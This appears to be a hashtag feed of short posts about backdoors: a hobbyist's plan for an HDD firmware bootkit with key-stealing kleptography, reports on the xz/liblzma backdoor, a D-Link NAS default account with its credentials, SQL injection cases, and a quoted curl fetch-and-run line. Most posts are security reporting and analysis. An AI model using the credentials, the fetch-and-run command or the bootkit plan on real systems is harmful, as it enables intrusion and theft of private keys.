#birthday
It's my birthday today, I turn 24 xD.. Not that that is interesting but, I thought of making a progress post about the HDD Bootkit I was planning to make.
To recap!
Awhile ago I wrote about a hdd bootkit I was gonna make. and I Will copy and paste it BUT!
FIRST I will actually post real progress, I have now got to Project "1", which is to unscrew hard disks cover, identify the cpu n stuff, get schematics, wire stuff, debug, and load hello world on it. simply put that's "project 1".
Project 2, is to "take project 1's hello world" and turn it into a 'hdd firmwre bootkit'.
Hello!
I wrote a post some weeks ago, about this project - me making a bootkit for a firmware of a HDD, and/or a SSD's controller cards.
Many of you most likely wonder what's taking so long to even make a update on it?
And the truth is, I just had to get a special set of 'screwdrivers' (I think, many will laugh now but this is actually the first step, to open up any disk's 'case' to be able to see what CPU and all that is) you have to, (I had to at least) use a "TorxScrewDriver" or something along those paths.
So, Now I got it and I will begin the first step, namely the
"Pre-Research part". What's that? I call it that cuz, now I have to open them up, see what CPU and stuff they are using, note all of this down.
Then it's part 2, namely the "Research" Part. What is done here? For me, it's googling about resources, writing a report on what it's uses, and what schematic(s) (if any) is available.
Then, part 3 is the "Debugging" part. Here, as the name suggests, is to try to debug it using the report from Part 2.
Part 4 is the final step in the POC(Proof Of Concept) project. This is to take step 3 and make a software, and load it and run it. This will simply be a hello world project to begin with. To just, using the hardware of the Disk itself, write out, in debug print outs, "Hello World".
And this is the "project number one", Project 2.. Will the post I wrote about
When I say "I will post the progress" or something along those lines, I will post it on my GitHub.
I will, of course, NOT post the reversed firmware or stuff like that, cuz.. that would'nt be any good for obvious reasons. Instead I will just show what I can achieve, like at least one but probably more than the below:
backdoor the firmware (persistence)
make hidden sectors (possibly using encryption and or obfuscation with some steganography)
kleptography(detect CRYPTO operations to gather the priv keys and store it either a) in the chip(like the firmware), b)in the hidden sector or c) in another way, possibly transmitting it to elsewhere)
Run Linux on it. Yes. The Linux Kernel if possible.
I will try some stuff I believe will be the first things one tries before, breaking the HDD/SSD open and try for JTAG, cuz, what about if there's no jtag? Or, "better" (worse) if there may be jtag but it's obfuscated? I mean there's no real good thing for companies to label "here we got jtag! so you can hook it up to a machine if you want to debug it!" no no, quietness is what it is. Heh. (By the way that's the same with datasheets, it's not something just 'given out') <- At least.. Not with my experience.
JTAG (of course)
Serial (even if some of these might not achieve anything we want, we should just begin small)
See some pinouts
other known "ports"
datasheets
schematics
This will not only be "a project" on its own, it's a major part (the first part, actually) for something much bigger.
Alright! have a great day people! Wishes from Sweden!
Adobe Magneto: una pericolosa minaccia RCE per i siti di e-commerce
Gli specialisti di Sicurezza Informatica hanno avvertito che gli #hacker stanno già sfruttando una nuova #vulnerabilità in #Magento (CVE-2024-20720) e l'utilizzatore per implementare una #backdoor persistente sui siti di e-commerce.
There is no excuse for using: source <(#curl -sL some.host.invalid)
This is obviously #malicious (I don't believe in Hanlon's razor in this case). The -L there allows curl to follow the HTTP->HTTPS redirect to make it work at all. The person who wrote this clearly knew that it would fetch the resource over insecure HTTP first, picking up the 301 redirect to the HTTPS resource. This means that anyone in a meddler in the middle position will have remote code execution whenever zsh shell is launched.
Forget the xz/liblzma backdoor in Linux distros, there's a confirmed backdoor in D-Link Network Attached Storage (NAS) products. Username is messagebus with an empty password. Tracked as CVE-2024-3273 (7.3 high, disclosed 26 March 2024), D-Link refuses to patch it because "All D-Link Network Attached storage has been End of Life and of Service Life for many years [and] the resources associated with these products have ceased their development and are no longer supported" 🔗 https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/
Three years ago, #FDroid had a similar kind of attempt as the #xz#backdoor. A new contributor submitted a merge request to improve the search, which was oft requested but the maintainers hadn't found time to work on. There was also pressure from other random accounts to merge it. In the end, it became clear that it added a #SQLinjection#vuln. In this case, we managed to catch it before it was merged. Since similar tactics were used, I think its relevant now
Steiner wrote this week that the original coder deleted their account as soon as F-Droid’s maintainers attempted to review the code, and that he thinks that the user’s behavior, as well as “all the attention from random new accounts” has led him to believe “it could be a deliberate attempt to insert the vuln.”
This is pretty significant: the first documented case of these tactics being used to insert a vulnerability, apart from xz. So probably the same actors have been trying this on multiple projects.
I hope other maintainers who have experienced similar pressure tactics will come forward, even if they're not aware of any backdoors. For any project where this has taken place and the code was merged, the code and commit history needs to be audited.
I can't be the only one who noticed that Jia Tan also had commits to the libarchive repo, right? I can't be the only one that noticed that Jia Tan was adding tests to libarchive, right? Yikes...
I haven't checked what's behind the commits or libarchive, but still, the fact that this is another archive library and it's tests... I dunno.
Edit: the code and commits were audited and there was one suspicious commit removed.
This is quite neat: an #xz#backdoor poc that patches liblzma to accept a different ed448 key so you can view the full attack in action, even if you can't use this for detection or exploitation.
Put yourself in Jia Tan's shoes, the malicious contributor to the xz backdoor...
It's been, what, two... three?... years since you started this campaign. You've had the entire support of your team and of your chain of command.
Your coders created a complex and sublime backdoor. A secure! backdoor that only you and your team could connect to. Heck it can even be deleted remotely. This is clean code. A responsible hack that doesn't open up the backdoor for others to hijack.
You spend years on your long con - your social engineering skills are at the top of the game. You've ingratiated yourself painstakingly into multiple teams. Finally it all pays off and you're ready to go!
You succeed multiple times in getting your backdoor inserted in all the major Linux distributions!!! Now its just a matter of weeks before it makes it to production and stable releases!
This is the culmination of years of labor and planning and of a massive team and budget.
You did good.
This will get you promoted. Esteemed by your colleagues and leadership alike. Your spouse and kids will understsnd why you haven't been at home lately and why you've spent all those late nights at the office.
It's finally going to pay off.
But what's this?! Some rando poking around in their box running a pre-release unstable version of linux has found everything?!?! It's all being ripped down?! And on a Friday before a western holiday weekend?!?!
Fuck. Fuck. FUCK!!!
Three years for nothing!!! My wife is going to leave me! I missed my kid's recital for this!!! They'll hate me because I told them it was worth it. Daddy will be able to play with you again once Daddy finishes this last bit of work. But it was all for nothing!!!
Leadership took a big risk on me and my team but I kept assuring them it would pay off!
It would be one thing if another nation state found it and stopped it. But one random dude poking his nose where it shouldn't belong?! Ohhh fuck, I'm going to be fired. We're going to lose our budget. My team is going to be fired. I've let down everyone that ever believed in me and supported me and relied on me!
@nerdpr0f - Take that idea and flip it! Use it to see what are the first projects that need to be reviewed from a Threat Hunting perspective!
Seriously! Its a great approach you've created!
Specifically identify projects that would be High Value Targets to a malicious actor and then go through the code with the ASSUMPTION THAT THEY HAVE ALREADY BEEN COMPROMISED.
See how many other backdoors and vulns we can find.
Three years ago, #FDroid had a similar kind of attempt as the #xz#backdoor. A new contributor submitted a merge request to improve the search, which was oft requested but the maintainers hadn't found time to work on. There was also pressure from other random accounts to merge it. In the end, it became clear that it added a #SQLinjection#vuln. In this case, we managed to catch it before it was merged. Since similar tactics were used, I think its relevant now
An interesting thing about the XZ sabotage is that, while it was very cleverly obfuscated (congratulations to Andres Freund for finding it!), once found, it is very clear that it's a deliberate backdoor. It can't be explained away as an ordinary bug that introduced a vulnerability.
Says something about the tradeoff space the attacker was working in.
Hey it's totally cool that #Microsoft#GitHub blocked access to one of the repositories in the very center of the #xz backdoor saga. :blobeyes:
It's not like a bunch of people are scrambling to try and make sense of all this right now, or that specific commits got linked to directly from media and blogposts and the like. :blobcatcoffee:
Lasse Collin's patch-series updating the #LinuxKernel's #xz code that a few days ago hit #linux-next was dropped for now until backdooring of upstream xz is understood better:
Leider eines von erscheinende Lücken bei OpenSSH und deswegen ist diese Open-Source Lösung teilweise umstriten.
»Backdoor in OpenSSH Server gefunde:
MinuteEine Backdoor (CVE-2024-3094) in XZ Utils könnte einem Angreifer erlauben, die OpenSSH Server Authentifizierung zu brechen.
Die Libary XZ Utils, welche unter Umständen vom OpenSSH Server verwendet wird, wurde in Version 3.6 kompromittiert und enthält eine backdoor.«
🧵 …laut @arstechnica sollte es ein Angriff, sprich Hack, auf die Privatsphäre sein:
[ENG]
»Backdoor found in widely used Linux utility breaks encrypted SSH connections:
Malicious code planted in xz Utils has been circulating for more than a month.
Researchers have found a malicious backdoor in a compression tool that made its way into widely used Linux distributions, including those from Red Hat and Debian.«
An incredibly technically complex #backdoor in xz (potentially also in libarchive and elsewhere) was just discovered. This backdoor has been quietly implemented over years, with the assistance of a wide array of subtly interconnected accounts:
CVE-2024-3094 is a back door with seemingly active exploitation:
A vulnerability classified as critical has been found in code-projects Agro-School Management System 1.0. Affected is the function doUpdateQuestion of the file btn_functions.php. The manipulation of the argument question_id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-230670 is the identifier assigned to this vulnerability.
...the latest versions of the “xz” tools and libraries contain malicious code that appears to be intended to allow unauthorized access. Specifically, this code is present in versions 5.6.0 and 5.6.1 of the libraries. PLEASE IMMEDIATELY STOP USAGE OF ANY FEDORA RAWHIDE INSTANCES for work or personal activity.
Malicious code was discovered in the upstream tarballs of xz, starting with version 5.6.0.
Through a series of complex obfuscations, the liblzma build process extracts a prebuilt object file from a disguised test file existing in the source code, which is then used to modify specific functions in the liblzma code. This results in a modified liblzma library that can be used by any software linked against this library, intercepting and modifying the data interaction with this library.
Bullying in Open Source Software Is a Massive Security Vulnerability ( www.404media.co )